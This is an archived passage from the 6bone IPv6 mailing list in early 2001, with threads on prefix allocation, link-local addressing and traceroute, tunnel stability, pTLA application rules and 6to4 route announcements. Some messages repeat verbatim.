works with 6to4.

Tom...
IPv6 Info/Links
http://hs247.com


From 6bone-owner  Tue Feb 27 10:30:14 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Designing IPv6 network guidelines?
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Hello all,

This isn't all about 6bone, but what 6bone will eventually become.  Some
of these issues have surely crossed some people's minds and it'd be nice
to hear of "good practices" how IPv6 can be implemented in the network.

---

I've been looking for information on how you should design your IPv6
network topology and concerning issues.  There's good information about
different technical solutions, but not so much information about suggested
approaches/pros/cons etc.  Pointers would be appreciated (I think I've
gone through most RFCs and drafts at some level).

In generic terms, I'm looking for some "best known practices" or other
guidelines for how IPv6 should be taken into use in a slightly larger
environment, e.g.

 * What kind of network prefixes should be allocated?  When
should you use /48 and when /64 (e.g. LAN segment?)?  What to do when /64
(or /48) is too little but the next level too much?
 * Should you allocate some service aliases e.g. xxxx:yyyy:zzzz::1 always
to be a router, ::2 DNS etc. -- is this a good approach?
 * Is routing between 6bone and production addresses in use/reliable yet?
Does 6to4 work in practise?  Are there 6to4 prefixes being announced to
the net at large? (Looking for a setup where IPv6 enabled LAN segments
would connect via ipv6 enabled gateways to a central IPv6 router, from
which would provide the connectivity)
 * DNS.  How do you manage e.g. reverse records easily.  How do you manage
changing interface addresses easily.

Other issues:

1) Some RFC recommended using site-local addresses for point to point
links.  Won't this break traceroute?

2) Some seem to use /126, others /64 for point-to-point interfaces or the
like.  Recommendations?

3) RIRs are allocating /35 prefixes for ISPs and the like.  Organisations
get a /48 from them.

Now, let's take an example about how academic networks in North Europe are
built (rough estimate):
 * a country-wide operator entitled to a /35
  * university or the like which would get (some?) /48's
   * depertment which would get a /48 [?] or multiple /64
    * lab or LAN's which might get multiple /64's

I read from www.jp.ipv6forum.com that ISP's should allocate /48's to
households etc.  I fail to see how /35 wouldn't run out very quickly (It
_is_ only 8096 addresses) with this practice.  Also, as demonstrated from
the above, if you have several organisatorial levels, it might be
difficult to design a clean network if only elements you can use are /35,
/48 and /64.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords



From 6bone-owner  Tue Feb 27 13:17:00 2001
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To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
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Subject: Re: Designing IPv6 network guidelines?
From: itojun@iijlab.net
Date: Wed, 28 Feb 2001 06:16:43 +0900
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> * Is routing between 6bone and production addresses in use/reliable yet?
>Does 6to4 work in practise?  Are there 6to4 prefixes being announced to
>the net at large? (Looking for a setup where IPv6 enabled LAN segments
>would connect via ipv6 enabled gateways to a central IPv6 router, from
>which would provide the connectivity)

	to stabilize, try to remove tunnels and move to IPv6 over leased
	line (or IPv4/v6 dual stack connectivity over leased line).  it works
	for me.

>1) Some RFC recommended using site-local addresses for point to point
>links.  Won't this break traceroute?

	you don't even need site-locals for point to point links.  they just
	work fine with link-local address.  all routing protocols should run
	fine with p2p with link-local address only.

>3) RIRs are allocating /35 prefixes for ISPs and the like.  Organisations
>get a /48 from them.
>Now, let's take an example about how academic networks in North Europe are
>built (rough estimate):
> * a country-wide operator entitled to a /35
>  * university or the like which would get (some?) /48's
>   * depertment which would get a /48 [?] or multiple /64
>    * lab or LAN's which might get multiple /64's
>
>I read from www.jp.ipv6forum.com that ISP's should allocate /48's to
>households etc.  I fail to see how /35 wouldn't run out very quickly (It
>_is_ only 8096 addresses) with this practice.  Also, as demonstrated from
>the above, if you have several organisatorial levels, it might be
>difficult to design a clean network if only elements you can use are /35,
>/48 and /64.

	if /35 runs out, country-wide operator can ask for more to RIR.
	/35 was assigned from RIR to facilitate slow-start.  country-wide
	operator should be able to grow into /29 sub TLA without renumber,
	then become a proper TLA (/16) - this is what I understand at this
	moment.

	if you use something other than /48, you will make renumber harder
	for customers (universities).

itojun

From 6bone-owner  Tue Feb 27 14:56:51 2001
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Subject: Re: Designing IPv6 network guidelines?
From: itojun@iijlab.net
Date: Wed, 28 Feb 2001 07:56:23 +0900
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>> 	if /35 runs out, country-wide operator can ask for more to RIR.
>> 	/35 was assigned from RIR to facilitate slow-start.  country-wide
>> 	operator should be able to grow into /29 sub TLA without renumber,
>> 	then become a proper TLA (/16) - this is what I understand at this
>> 	moment.
>> 
>> 	if you use something other than /48, you will make renumber harder
>> 	for customers (universities).
>Trouble is, a /48 is not enough for a typical University...

	does your university have 64k subnets, or do you plan to provide
	dialup services to student households?

	anyway, if /48 is really not enough, the university should get
	another /48...

itojun

From 6bone-owner  Tue Feb 27 15:25:47 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: <itojun@iijlab.net>
cc: Tim Chown <tjc@ecs.soton.ac.uk>, <6bone@ISI.EDU>
Subject: Re: Designing IPv6 network guidelines?
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On Wed, 28 Feb 2001 itojun@iijlab.net wrote:

>
> >> 	if /35 runs out, country-wide operator can ask for more to RIR.
> >> 	/35 was assigned from RIR to facilitate slow-start.  country-wide
> >> 	operator should be able to grow into /29 sub TLA without renumber,
> >> 	then become a proper TLA (/16) - this is what I understand at this
> >> 	moment.
> >>
> >> 	if you use something other than /48, you will make renumber harder
> >> 	for customers (universities).
> >Trouble is, a /48 is not enough for a typical University...
>
> 	does your university have 64k subnets, or do you plan to provide
> 	dialup services to student households?

Well, a lot of organizations might want to provide *DSL, WLAN, etc.
connectivity for employees,  students etc.  If /48 were to given to each..

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Feb 27 15:28:49 2001
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To: Pekka Savola <pekkas@netcore.fi>
cc: Tim Chown <tjc@ecs.soton.ac.uk>, 6bone@ISI.EDU
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Subject: Re: Designing IPv6 network guidelines?
From: itojun@iijlab.net
Date: Wed, 28 Feb 2001 08:28:34 +0900
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>> 	does your university have 64k subnets, or do you plan to provide
>> 	dialup services to student households?
>Well, a lot of organizations might want to provide *DSL, WLAN, etc.
>connectivity for employees,  students etc.  If /48 were to given to each..

	if the above connectivity (to home) is considered as a part of
	university, you may want to provide /64 or something, just like you
	would provide /64 or something to laboratories in your university.

	if the above connectivity (to home) is considreed as not a part of
	university, the university itself has a function of ISP.  you may want
	to:
	- get a /48 for the university itself, and
	- larger address block for university-as-ISP and suballocate /48 to
	  student households.

itojun

From 6bone-owner  Tue Feb 27 15:36:43 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: <itojun@iijlab.net>
cc: <6bone@ISI.EDU>
Subject: Re: Designing IPv6 network guidelines?
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On Wed, 28 Feb 2001 itojun@iijlab.net wrote:
> > * Is routing between 6bone and production addresses in use/reliable yet?
> >Does 6to4 work in practise?  Are there 6to4 prefixes being announced to
> >the net at large? (Looking for a setup where IPv6 enabled LAN segments
> >would connect via ipv6 enabled gateways to a central IPv6 router, from
> >which would provide the connectivity)
>
> 	to stabilize, try to remove tunnels and move to IPv6 over leased
> 	line (or IPv4/v6 dual stack connectivity over leased line).  it works
> 	for me.

Tunnels between client boxes (the first hop) has some problems, but I
can't see too many with tunneling over IPv4 between the sites, rather than
having to build these with ATM PVC's or the like (for the ease, and not
having to stick to ATM technology).

Or are there some problems with this approach?

> >1) Some RFC recommended using site-local addresses for point to point
> >links.  Won't this break traceroute?
>
> 	you don't even need site-locals for point to point links.  they just
> 	work fine with link-local address.  all routing protocols should run
> 	fine with p2p with link-local address only.

Routing protocols, yes.  But if you want to bind e.g. EBGP to the
interface address rather than loopback, this might be a problem.

Also, why _would_ traceroute work?  If the link local address of a P-t-P
link were to use private addresses, you couldn't trace through the
internet.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords



From 6bone-owner  Tue Feb 27 15:42:30 2001
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Subject: Re: Designing IPv6 network guidelines?
From: itojun@iijlab.net
Date: Wed, 28 Feb 2001 08:42:12 +0900
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>> 	to stabilize, try to remove tunnels and move to IPv6 over leased
>> 	line (or IPv4/v6 dual stack connectivity over leased line).  it works
>> 	for me.
>Tunnels between client boxes (the first hop) has some problems, but I
>can't see too many with tunneling over IPv4 between the sites, rather than
>having to build these with ATM PVC's or the like (for the ease, and not
>having to stick to ATM technology).
>Or are there some problems with this approach?

	from my experience: if the tunnel (IPv4) path goes over multiple
	administrative domains (like multiple ASes) I see unstabilized tunnel
	connectivity due to IPv4 unstability.  In my opinion, tunnels has to
	be very very short (I mean, less IPv4 hops), or has to be replaced
	by native IPv6 connectivity (with additional leased line or whatever).

>> 	you don't even need site-locals for point to point links.  they just
>> 	work fine with link-local address.  all routing protocols should run
>> 	fine with p2p with link-local address only.
>Routing protocols, yes.  But if you want to bind e.g. EBGP to the
>interface address rather than loopback, this might be a problem.

	I don't really agree with the above, I have not experienced problems
	with my approach.

	There are OS/router implementations that cannot establish BGP TCP
	connection (port 179) over link-local addresses, but it is
	implementation problem in specific implementations.

>Also, why _would_ traceroute work?  If the link local address of a P-t-P
>link were to use private addresses, you couldn't trace through the
>internet.

	if intermediate routers employ weak host model, traceroute will work
	just fine even if you use link-local address to p2p interfaces.
	if intermediate routers employ strong host model, traceroute will
	work only if they have global IPv6 address onto every interfaces.
	i think you have strong host model in your mindset...

itojun

From 6bone-owner  Tue Feb 27 19:05:42 2001
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To: Tim Chown <tjc@ecs.soton.ac.uk>
cc: Pekka Savola <pekkas@netcore.fi>, 6bone@ISI.EDU
In-reply-to: tjc's message of Wed, 28 Feb 2001 00:58:26 GMT.
      <Pine.SOL.4.20.0102280055030.11548-100000@penelope.ecs.soton.ac.uk>
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Subject: Re: Designing IPv6 network guidelines?
From: itojun@iijlab.net
Date: Wed, 28 Feb 2001 12:05:09 +0900
Message-ID: <23986.983329509@coconut.itojun.org>
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>> 	if the above connectivity (to home) is considreed as not a part of
>> 	university, the university itself has a function of ISP.  you may want
>> 	to:
>> 	- get a /48 for the university itself, and
>> 	- larger address block for university-as-ISP and suballocate /48 to
>> 	  student households.
>
>The squeeze comes if someone decides to allocate static IPv6 network
>prefixes to the households or hall rooms (in the UK, most Uni hall rooms
>are wired for telephony not data).   Or is this practice strongly
>discouraged?

	not sure, I'm guessing too.

itojun

From 6bone-owner  Tue Feb 27 21:22:34 2001
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From: Hareesh V H <fd98209@bits-pilani.ac.in>
Reply-To: Hareesh V H <fd98209@bits-pilani.ac.in>
To: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: Designing IPv6 network guidelines?
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 hi! the discussion about the network designing in IPv6 is a very relevant
one. Actually i am trying to produce a document in this regard. One point
i find interesting is the ambiguity in the specification/implementation of
site local addresses. The implementations as of now or even the specs
do not give a very clear idea about it. Could anyone please provide more
info/links about this issue as to how exactly this feature is to be used?
Thanks in advance.

regards,
Hareesh.





From 6bone-owner  Tue Feb 27 21:33:52 2001
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To: Pekka Savola <pekkas@netcore.fi>
Cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
Message-ID: <20010228023305.A648@tinuviel.compendium.net.ar>
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¡Hola!

> > >1) Some RFC recommended using site-local addresses for point to point
> > >links.  Won't this break traceroute?
> >
> > 	you don't even need site-locals for point to point links.  they just
> > 	work fine with link-local address.  all routing protocols should run
> > 	fine with p2p with link-local address only.
> 
> Also, why _would_ traceroute work?  If the link local address of a P-t-P
> link were to use private addresses, you couldn't trace through the
> internet.

I was thinking the same thing and did some tests. If the routers have only
link-local addresses traceroute breaks, but if they have any global address
(in other interface) it uses that address.

Further investigation has led me to the following:

RFC2463 (ICMPv6) says:

    (c) If the message is a response to a message sent to an address
        that does not belong to the node, the Source Address should be
        that unicast address belonging to the node that will be most
        helpful in diagnosing the error. For example, if the message is
        a response to a packet forwarding action that cannot complete
        successfully, the Source Address should be a unicast address
        belonging to the interface on which the packet forwarding
        failed.

Being that that interface has not a helpful address, it avoids the "should
be a unicast address belonging to the interface..." and uses "a unicast
address belonging to the gateway". (Spelling OT: is correct "a unicast" 
or should it be "an unicast" ?)

RFC1812 (Requirements for IP Version 4 Routers) talks in section 2.2.7
about "Unnumbered Lines and Networks Prefixes" and decides:

   Because of these drawbacks, this memo has adopted an alternate
   scheme, which has been invented multiple times but which is probably
   originally attributable to Phil Karn.  In this scheme, a router that
   has unnumbered point to point lines also has a special IP address,
   called a router-id in this memo.  The router-id is one of the
   router's IP addresses (a router is required to have at least one IP
   address).  This router-id is used as if it is the IP address of all
   unnumbered interfaces.

Adapting it to IPv6 you'd talk about p2p using link-local addresses, and
requiring any router to have at least one global IP address.

> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Thu Mar  1 17:32:49 2001
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To: Pekka Savola <pekkas@netcore.fi>
Cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
Message-ID: <20010228023305.A648@tinuviel.compendium.net.ar>
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¡Hola!

> > >1) Some RFC recommended using site-local addresses for point to point
> > >links.  Won't this break traceroute?
> >
> > 	you don't even need site-locals for point to point links.  they just
> > 	work fine with link-local address.  all routing protocols should run
> > 	fine with p2p with link-local address only.
> 
> Also, why _would_ traceroute work?  If the link local address of a P-t-P
> link were to use private addresses, you couldn't trace through the
> internet.

I was thinking the same thing and did some tests. If the routers have only
link-local addresses traceroute breaks, but if they have any global address
(in other interface) it uses that address.

Further investigation has led me to the following:

RFC2463 (ICMPv6) says:

    (c) If the message is a response to a message sent to an address
        that does not belong to the node, the Source Address should be
        that unicast address belonging to the node that will be most
        helpful in diagnosing the error. For example, if the message is
        a response to a packet forwarding action that cannot complete
        successfully, the Source Address should be a unicast address
        belonging to the interface on which the packet forwarding
        failed.

Being that that interface has not a helpful address, it avoids the "should
be a unicast address belonging to the interface..." and uses "a unicast
address belonging to the gateway". (Spelling OT: is correct "a unicast" 
or should it be "an unicast" ?)

RFC1812 (Requirements for IP Version 4 Routers) talks in section 2.2.7
about "Unnumbered Lines and Networks Prefixes" and decides:

   Because of these drawbacks, this memo has adopted an alternate
   scheme, which has been invented multiple times but which is probably
   originally attributable to Phil Karn.  In this scheme, a router that
   has unnumbered point to point lines also has a special IP address,
   called a router-id in this memo.  The router-id is one of the
   router's IP addresses (a router is required to have at least one IP
   address).  This router-id is used as if it is the IP address of all
   unnumbered interfaces.

Adapting it to IPv6 you'd talk about p2p using link-local addresses, and
requiring any router to have at least one global IP address.

> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Thu Mar  1 17:34:02 2001
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From: Hareesh V H <fd98209@bits-pilani.ac.in>
Reply-To: Hareesh V H <fd98209@bits-pilani.ac.in>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
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 hi! the discussion about the network designing in IPv6 is a very relevant
one. Actually i am trying to produce a document in this regard. One point
i find interesting is the ambiguity in the specification/implementation of
site local addresses. The implementations as of now or even the specs
do not give a very clear idea about it. Could anyone please provide more
info/links about this issue as to how exactly this feature is to be used?
Thanks in advance.

regards,
Hareesh.




From 6bone-owner  Fri Mar  2 03:54:35 2001
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From: Hareesh V H <fd98209@bits-pilani.ac.in>
Reply-To: Hareesh V H <fd98209@bits-pilani.ac.in>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
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 hi! the discussion about the network designing in IPv6 is a very relevant
one. Actually i am trying to produce a document in this regard. One point
i find interesting is the ambiguity in the specification/implementation of
site local addresses. The implementations as of now or even the specs
do not give a very clear idea about it. Could anyone please provide more
info/links about this issue as to how exactly this feature is to be used?
Thanks in advance.

regards,
Hareesh.


From 6bone-owner  Fri Mar  2 03:57:44 2001
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¡Hola!

> > >1) Some RFC recommended using site-local addresses for point to point
> > >links.  Won't this break traceroute?
> >
> > 	you don't even need site-locals for point to point links.  they just
> > 	work fine with link-local address.  all routing protocols should run
> > 	fine with p2p with link-local address only.
> 
> Also, why _would_ traceroute work?  If the link local address of a P-t-P
> link were to use private addresses, you couldn't trace through the
> internet.

I was thinking the same thing and did some tests. If the routers have only
link-local addresses traceroute breaks, but if they have any global address
(in other interface) it uses that address.

Further investigation has led me to the following:

RFC2463 (ICMPv6) says:

    (c) If the message is a response to a message sent to an address
        that does not belong to the node, the Source Address should be
        that unicast address belonging to the node that will be most
        helpful in diagnosing the error. For example, if the message is
        a response to a packet forwarding action that cannot complete
        successfully, the Source Address should be a unicast address
        belonging to the interface on which the packet forwarding
        failed.

Being that that interface has not a helpful address, it avoids the "should
be a unicast address belonging to the interface..." and uses "a unicast
address belonging to the gateway". (Spelling OT: is correct "a unicast" 
or should it be "an unicast" ?)

RFC1812 (Requirements for IP Version 4 Routers) talks in section 2.2.7
about "Unnumbered Lines and Networks Prefixes" and decides:

   Because of these drawbacks, this memo has adopted an alternate
   scheme, which has been invented multiple times but which is probably
   originally attributable to Phil Karn.  In this scheme, a router that
   has unnumbered point to point lines also has a special IP address,
   called a router-id in this memo.  The router-id is one of the
   router's IP addresses (a router is required to have at least one IP
   address).  This router-id is used as if it is the IP address of all
   unnumbered interfaces.

Adapting it to IPv6 you'd talk about p2p using link-local addresses, and
requiring any router to have at least one global IP address.

> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Fri Mar  2 06:31:19 2001
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From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
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Hello Guys?

Could you tell me the place or company I can get a source code for
TCP/IP in Linux?

Thanks in advance.

Flidersan



From 6bone-owner  Fri Mar  2 08:51:14 2001
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¡Hola!

> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?

http://www.linux-ipv6.org/

> Thanks in advance.
> Flidersan

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Fri Mar  2 09:16:47 2001
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Date: Fri, 2 Mar 2001 12:13:33 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
Cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
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On Fri, Mar 02, 2001 at 09:03:37PM +0700, R.  Flidersan wrote:
> Hello Guys?

> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?

	Have you tried looking on any of the source CD's that come with
any of the distributions?

	Just get the kernel source tarball from kernel.org and you'll
find it in there.  The 2.4.2 sources would be this:

	ftp://www.??.kernel.org/pub/linux/kernel/v2.4/linux-2.4.2.tar.gz

		or

	http://www.??.kernel.org/pub/linux/kernel/v2.4/linux-2.4.2.tar.gz

	Replace the ?? with a country code for a near-by mirror.  Check
out www.kernel.org for more information.  You'll find a list of mirror
sites here: http://www.kernel.org/mirrors/ and there is at least one
there in "id".

> Thanks in advance.

> Flidersan

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Fri Mar  2 10:00:18 2001
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On Fri, 2 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.

I'd be glad to sell you the complete Linux kernel and source (including
TCP/IP) with license on CD for $2234.00 (USD) + shipping.
 
:)

Of course, you might want to try ftp.kernel.org, unless you are looking
for more then the body of your message implied. :)


From 6bone-owner  Fri Mar  2 11:04:09 2001
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From: Pete Toscano <pete@research.netsol.com>
To: 6bone@ISI.EDU
Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
>=20
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
>=20
> Thanks in advance.
>=20
> Flidersan
>=20
>=20

--=20
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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From 6bone-owner  Fri Mar  2 11:50:45 2001
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From: John Galt <galt@inconnu.isu.edu>
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: <6bone@ISI.EDU>
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ftp.kernel.org  I think the USAGI kernel has some good modifications you
might want to look at too (to keep this thread remotely on-topic :)
That'd be at ftp.linux-ipv6.org



On Fri, 2 Mar 2001, R.  Flidersan wrote:

>Hello Guys?
>
>Could you tell me the place or company I can get a source code for
>TCP/IP in Linux?
>
>Thanks in advance.
>
>Flidersan
>
>

-- 
void hamlet()
{#define question=((bb)||(!bb))}

Who is John Galt?  galt@inconnu.isu.edu. that's who!




From 6bone-owner  Fri Mar  2 12:43:54 2001
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Date: Wed, 28 Feb 2001 10:50:18 +0530 (IST)
From: Hareesh V H <fd98209@bits-pilani.ac.in>
Reply-To: Hareesh V H <fd98209@bits-pilani.ac.in>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
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 hi! the discussion about the network designing in IPv6 is a very relevant
one. Actually i am trying to produce a document in this regard. One point
i find interesting is the ambiguity in the specification/implementation of
site local addresses. The implementations as of now or even the specs
do not give a very clear idea about it. Could anyone please provide more
info/links about this issue as to how exactly this feature is to be used?
Thanks in advance.

regards,
Hareesh.




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From: info@caladan.net
To: 6bone@ISI.EDU
Date: Sat, 3 Mar 2001 18:21:47 -0000
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Subject: pTLA rules for application
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I have a question regarding the guidelines for applying for a pTLA 
for the 6bone... 

RFC2772 states that the applicant must have minimum 3 months: 

"Fully maintained, and reliable, BGP4+ peering and connectivity 
between the Applicant's boundary router and the appropriate 
connection point into the 6Bone." 

Surely this breaks one of the golden rules of BGP? i.e. that you 
shouldn't advertise a more specific route when a less specific route 
further up is available? In fact BGP is only really used if you're multi-
homed and you can't be multi-homed on the 6bone unless you're 
already part of the backbone. 

Seems like a chicken and egg situation? 

Perhaps someone could clarify this for me. 

Thanks,
Chris




From 6bone-owner  Sat Mar  3 12:47:34 2001
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From: Antonio Querubin <tony@lava.net>
To: <info@caladan.net>
cc: <6bone@ISI.EDU>
Subject: Re: pTLA rules for application
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On Sat, 3 Mar 2001 info@caladan.net wrote:

> RFC2772 states that the applicant must have minimum 3 months:
>
> "Fully maintained, and reliable, BGP4+ peering and connectivity
> between the Applicant's boundary router and the appropriate
> connection point into the 6Bone."
>
> Surely this breaks one of the golden rules of BGP? i.e. that you
> shouldn't advertise a more specific route when a less specific route
> further up is available?

I don't think this is a golden rule of BGP nor of any routing protocol.
It might be a peering agreement rule but even so your upstreams can always
apply filters if they don't want to hear (or propagate) your more specific
advertisements.

> In fact BGP is only really used if you're multi- homed and you can't
> be multi-homed on the 6bone unless you're already part of the
> backbone.
>
> Seems like a chicken and egg situation?

No not really.  Someone delegates a pNLA or pSLA to you out of their
address space initially.  You peer with them.  They aggregate your
announcement into theirs.  You get the rest of your 6Bone house in order
(meet other RFC 2772 requirements) and wait 3 months.  Then apply for your
own pTLA.


From 6bone-owner  Sun Mar  4 01:47:49 2001
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Date: Sun, 4 Mar 2001 11:47:25 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: 6to4 prefix announcements?
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Hello all,

It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
saw 2002::/16).

Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
it must go through ipv6-router.cisco.com.

I think this could be optimized by announcing prefixes, e.g. those
calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

Or is there reasons why this is not done?

BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
there any of these available?

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sun Mar  4 03:15:21 2001
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Cc: 6bone@ISI.EDU
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Subject: Re: 6to4 prefix announcements? 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Sun, 04 Mar 2001 20:14:42 +0900
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>It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
>saw 2002::/16).
>
>Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
>it must go through ipv6-router.cisco.com.
>
>I think this could be optimized by announcing prefixes, e.g. those
>calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

	see RFC3056, section 5.10.  you can configure static routes to
	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
	announce that route.

>Or is there reasons why this is not done?

	do you want to see 2^32 routes announced to the 6bone?

itojun

From 6bone-owner  Sun Mar  4 03:54:39 2001
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Date: Sun, 4 Mar 2001 13:54:23 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Re: 6to4 prefix announcements? 
In-Reply-To: <20010304111442.2F20F7E0E@starfruit.itojun.org>
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On Sun, 4 Mar 2001, Jun-ichiro itojun Hagino wrote:

>
> >It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
> >saw 2002::/16).
> >
> >Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
> >it must go through ipv6-router.cisco.com.
> >
> >I think this could be optimized by announcing prefixes, e.g. those
> >calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.
>
> 	see RFC3056, section 5.10.  you can configure static routes to
> 	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
> 	announce that route.

Ah.  A new RFC. :-)

>From 5.10, I gather:

   EGP (i.e., BGP) routing will include advertisements for the 2002::/16
   prefix from relay routers into the native IPv6 domain, whose scope is
   limited by routing policy.  This is the only non-native IPv6 prefix
   advertised by BGP.

I'm rather rather depressed at the fact that within for the traffic
between two sites within EU, the chosen relay router is in the U.S.

Aren't the others (e.g. 6to4.ipv6.bt.com or 6to4.ipv6.fh-regensburg.de,
from http://www.kfu.com/~nsayer/6to4/)  announcing these at all or have
they been restricted by policy to a smaller domain?

[ I've yet to see a 6bone looking glass to see how BGP announcements look
like somewhere else too ]

This makes the whole 6to4 routing act bad.

> >Or is there reasons why this is not done?
>
> 	do you want to see 2^32 routes announced to the 6bone?

Definitely not, but I was thinking of announing them in aggregates always
bigger than traditional B-class..  With about 2^8 or 2^10 you could get
rather good connectivity already -- traffic would probably almost always
be restricted to the same continent, or a part of the continent.

This would in part transfer some routing table expansion problems of IPv4
to IPv6, which is probably the reason it's deprecated.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sun Mar  4 04:46:14 2001
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Subject: Re: 6to4 prefix announcements? 
From: itojun@iijlab.net
Date: Sun, 04 Mar 2001 21:45:48 +0900
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>[ I've yet to see a 6bone looking glass to see how BGP announcements look
>like somewhere else too ]

	try http://www.6tap.net/6tap/6tap-lg.html, select "IPv6" on pulldown
	menu and type "route" into the input box.  I don't see 2002::16
	at this moment btw.

itojun

From 6bone-owner  Sun Mar  4 07:33:05 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: 6to4 prefix announcements? 
In-reply-to: Your message of Sun, 04 Mar 2001 11:47:25 +0200.
             <Pine.LNX.4.31.0103041142200.32504-100000@netcore.fi> 
Date: Sun, 04 Mar 2001 16:32:39 +0100
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 In your previous mail you wrote:

   I think this could be optimized by announcing prefixes, e.g. those
   calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

=> Brian Carpenter should answer (:-)...

   BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
   there any of these available?
   
=> I have an experimental looking glass for BGP4+ with IPv6.
It needs to be secured and put on a backbone router (it should be
soon because this is the purpose). The result is:

Router: Aricie Command: show bgp ipv6 2002::/16


BGP routing table entry for 2002::/16, version 13836923
Paths: (1 available, best #1)
Flag: 0x208
  Not advertised to any peer
  1938 2200 2611 5511 4697 1251 109
    2001:660:281:1::1 (inaccessible) from 2001:660:282:1:200:CFF:FE3F:1D17 (192.108.119.137)
      Origin IGP, localpref 100, valid, internal, best

The router is in the RENATER sub**n TLA. The 2002::/16 gateway seems
to be ipv6-router.cisco.com.

Francis.Dupont

From 6bone-owner  Sun Mar  4 17:14:34 2001
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This is a multi-part message in MIME format.

------=_NextPart_000_001A_01C0A555.4FC3F760
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
